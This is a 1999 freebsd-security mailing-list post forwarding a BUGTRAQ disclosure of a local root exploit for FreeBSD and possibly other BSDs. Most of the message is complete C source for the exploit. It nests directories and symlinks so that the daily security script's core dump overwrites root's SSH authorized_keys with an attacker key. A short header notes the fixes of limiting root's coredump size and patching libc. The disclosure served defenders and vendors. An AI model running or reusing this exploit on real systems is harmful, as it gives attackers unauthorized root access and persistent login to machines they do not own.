Date: Thu, 26 Aug 1999 12:55:00 -0400 From: Mike Tancsa <mike@sentex.net> To: freebsd-security@freebsd.org Cc: security-officer@freebsd.org Subject: New exploit ? Patch ? (from BUGTRAQ Aug26 1999) Message-ID: <3.0.5.32.19990826125500.01d258a0@staff.sentex.ca>
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From BUGTRAQ today...
---Mike
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@securityfocus.com
X-Mailer: XFMail 1.3 [p0] on Linux
X-SMS: +48601383657@text.plusgsm.pl
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X-Operating-System: FreeBSD 3.2-STABLE (i386)
Date: Tue, 24 Aug 1999 23:47:05 +0200
Reply-To: Przemyslaw Frasunek <secure@FREEBSD.LUBLIN.PL>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Przemyslaw Frasunek <secure@FREEBSD.LUBLIN.PL>
Organization: Lubelska Grupa Uzytkownikow BSD
Subject: FreeBSD (and other BSDs?) local root explot
X-To: bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
/*
(c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>
bug in fts_print function allows to overwrite any file in system, when
running /etc/security script (executed from 'daily' scripts).
affected systems:
- freebsd (all versions)
- probably openbsd/netbsd
fix:
- limit root's coredump size
- patch libc
*/
#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>
#define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE "/root/.ssh/authorized_keys"
#define CORE "find.core"
#define DEPTH 300
#define BUFSIZE 250
int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{
if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;
if (chdir(dir))
return -1;
if (symlink(linkfrom, linkto) < 0)
return -1;
return 0;
}
int main(argc, argv)
int argc;
char **argv;
{
int i = 0;
char pid[10], buf[BUFSIZE];
sprintf(pid, "%d", getpid());
if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}
if (chdir(pid))
{
perror("chdir()");
return -1;
}
bzero(buf, BUFSIZE);
memset(buf, 0x41, BUFSIZE-1);
for(i=0;i<DEPTH;i++)
{
if (makedir(STRING, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
if(makedir(buf, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
}
return 0;
}
- ---
* Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-383657 *
* Inet: venglin@FreeBSD.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF *
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------------------------------------------------------------------------
Mike Tancsa, tel 01.519.651.3400
Network Administrator, mike@sentex.net
Sentex Communications www.sentex.net
Cambridge, Ontario Canada
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